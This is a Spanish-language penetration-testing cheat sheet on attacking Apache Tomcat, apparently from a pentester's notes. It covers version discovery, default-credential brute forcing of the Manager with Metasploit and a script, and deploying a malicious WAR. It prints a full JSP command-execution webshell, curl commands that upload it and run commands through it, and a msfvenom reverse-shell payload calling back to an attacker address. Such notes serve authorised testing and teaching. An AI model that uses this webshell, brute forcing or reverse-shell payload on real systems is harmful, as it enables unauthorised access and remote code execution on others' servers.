Tomcat — Discovery & Enumeration
Apache Tomcat es un contenedor de servlets Java, muy común como backend de aplicaciones empresariales Java/JSP. Su superficie de ataque principal en un pentest es la Tomcat Manager App, una interfaz administrativa que, con credenciales válidas, permite desplegar aplicaciones .war directamente — el vector clásico y más directo hacia RCE.
Discovery / Footprinting
❯ curl -s http://app-dev.empresacorp.local:8080/docs/ | grep Tomcat
<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"
<SNIP>- La página de documentación (
/docs/) suele estar accesible por defecto y revela la versión exacta — si está deshabilitada, la propia página de error 404 de Tomcat también suele incluir la versión en su pie de página.
Identificación de servicios Tomcat
❯ nmap -sV --script=http-title -p80,443,8080,8443 <IP>
❯ nmap -sV --script=tomcat* -p8080 <IP>- Los scripts NSE con prefijo
tomcat*incluyentomcat-enum(detección de rutas comunes) y otros específicos del servicio.
Detección de Manager App (rutas comunes)
/manager/html
/host-manager/html
/tomcat/manager
/admin- Probar cada ruta con y sin barra final, y también sobre puertos alternativos comunes (
8080,8180,8443) — algunas instalaciones exponen el manager en un puerto distinto al de la aplicación principal.
Fuzzing de directorios (rutas comunes de Tomcat)
❯ gobuster dir -u http://<IP>:8080 -w /usr/share/wordlists/dirb/common.txt
❯ wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://<IP>:8080/FUZZWordlist más específica de rutas típicas de aplicaciones Java/Tomcat (mejor tasa de acierto que un diccionario genérico):
❯ ffuf -w /usr/share/seclists/Discovery/Web-Content/tomcat.txt:FUZZ -u http://<IP>:8080/FUZZAtaques a Tomcat
Fuerza bruta de login del Manager
Con el módulo dedicado de Metasploit (prueba automáticamente combinaciones de credenciales por defecto conocidas de Tomcat):
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST web01.empresacorp.local
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts 172.16.72.10msf6 auxiliary(scanner/http/tomcat_mgr_login) > show options
Module options (auxiliary/scanner/http/tomcat_mgr_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no The HTTP password to specify for authentication
PASS_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.16.72.10 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8180 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS true yes Stop guessing when a credential works for a host
TARGETURI /manager/html yes URI for Manager login. Default is /manager/html
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no The HTTP username to specify for authentication
USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt no File containing users, one per line
VERBOSE true yes Whether to print output for all attempts
VHOST web01.empresacorp.localmsf6 auxiliary(scanner/http/tomcat_mgr_login) > run
[!] No active DB -- Credential data will not be saved!
[-] 172.16.72.10:8180 - LOGIN FAILED: admin:admin (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: admin:manager (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: admin:role1 (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: admin:root (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: admin:tomcat (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: admin:s3cret (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: admin:vagrant (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: manager:admin (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: manager:manager (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: manager:role1 (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: manager:root (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: manager:tomcat (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: manager:s3cret (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: manager:vagrant (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: role1:admin (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: role1:manager (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: role1:role1 (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: role1:root (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: role1:tomcat (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: role1:s3cret (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: role1:vagrant (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: root:admin (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: root:manager (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: root:role1 (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: root:root (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: root:tomcat (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: root:s3cret (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: root:vagrant (Incorrect)
[+] 172.16.72.10:8180 - Login Successful: tomcat:admin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed- Es una lista corta y bien conocida de credenciales por defecto (
tomcat:tomcat,admin:admin,tomcat:s3cret, etc.) que muchas instalaciones nunca cambian tras el despliegue inicial.
Enrutar el ataque a través de un proxy (por ejemplo, para inspeccionar el tráfico en Burp mientras corre el módulo):
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set PROXIES HTTP:127.0.0.1:8080
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run
[!] No active DB -- Credential data will not be saved!
[-] 172.16.72.10:8180 - LOGIN FAILED: admin:admin (Incorrect)
...Decodificar credenciales encontradas en Base64 en logs/configuración (Tomcat a veces almacena o transmite usuario:contraseña codificado en Basic Auth):
❯ echo YWRtaW46dmFncmFudA== | base64 -d
admin:vagrantHerramienta dedicada alternativa a Metasploit para fuerza bruta del Manager:
❯ python3 mgr_brute.py -h
usage: mgr_brute.py [-h] -U URL -P PATH -u USERNAMES -p PASSWORDS
Tomcat manager or host-manager credential bruteforcing
optional arguments:
-h, --help show this help message and exit
-U URL, --url URL URL to tomcat page
-P PATH, --path PATH manager or host-manager URI
-u USERNAMES, --usernames USERNAMES
Users File
-p PASSWORDS, --passwords PASSWORDS
Passwords Files❯ python3 mgr_brute.py -U http://web01.empresacorp.local:8180/ -P /manager -u /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -p /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt
[+] Atacking.....
[+] Success!!
[+] Username : b'tomcat'
[+] Password : b'admin'Despliegue de WAR malicioso (RCE post-autenticación)
Con credenciales válidas del Manager, subir un archivo .war que contenga una webshell JSP es el camino directo y más confiable a ejecución de comandos.
Webshell JSP de referencia:
<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>Empaquetar como .war (un WAR es, en esencia, un ZIP con estructura específica de aplicación Java):
❯ wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
❯ zip -r backup.war cmd.jsp
adding: cmd.jsp (deflated 81%)Subir el WAR vía la interfaz del Manager (War file to deploy) o vía la API de despliegue directamente con curl:
❯ curl -u tomcat:admin -T backup.war "http://web01.empresacorp.local:8180/manager/text/deploy?path=/backup"Una vez desplegado (el contexto queda accesible en /backup/), interactuar con la webshell:
❯ curl http://web01.empresacorp.local:8180/backup/cmd.jsp?cmd=id
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
Command: id<BR>
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
</pre>
</BODY></HTML>Payload directo con msfvenom (alternativa a la webshell manual)
Generar un WAR con una reverse shell Meterpreter embebida, evitando escribir la JSP manualmente:
❯ msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.60.5 LPORT=4443 -f war > backup.war
Payload size: 1098 bytes
Final size of war file: 1098 bytes- Requiere tener un listener de Metasploit (
multi/handler) activo antes de acceder a la ruta desplegada, ya que la ejecución del payload ocurre en cuanto Tomcat carga la aplicación o se accede a su endpoint.
Vulnerabilidades conocidas sin autenticación
Ghostcat (CVE-2020-1938) — Lectura de archivos vía AJP
Afecta al conector AJP (puerto 8009 por defecto), habilitado por defecto en versiones antiguas de Tomcat, y permite leer cualquier archivo dentro del contexto de la aplicación web (incluyendo WEB-INF/web.xml, que puede revelar rutas internas o credenciales) sin necesidad de autenticación:
❯ nmap -p8009 --script tomcat-ghostcat <IP>- Herramientas dedicadas como
ajpfuzzero scripts públicos de PoC en GitHub automatizan la explotación completa (lectura de archivos e incluso escritura/RCE en combinación con carga de archivos, dependiendo de la configuración). - Mitigación estándar: deshabilitar el conector AJP si no se usa, o restringirlo a
localhost/red interna únicamente.
Notas de metodología
- Antes de intentar fuerza bruta extensa, probar primero la lista corta de credenciales por defecto más comunes (
tomcat:tomcat,tomcat:s3cret,admin:admin,both:tomcat) — la mayoría de instalaciones comprometidas en la práctica caen por credenciales nunca rotadas, no por fuerza bruta exhaustiva. - El despliegue de WAR vía Manager es ruidoso (queda registrado en los logs de acceso y en el propio listado de aplicaciones desplegadas del Manager) — documentar esto como parte de la evidencia, y recordar remover la aplicación desplegada al finalizar la prueba si el alcance lo requiere.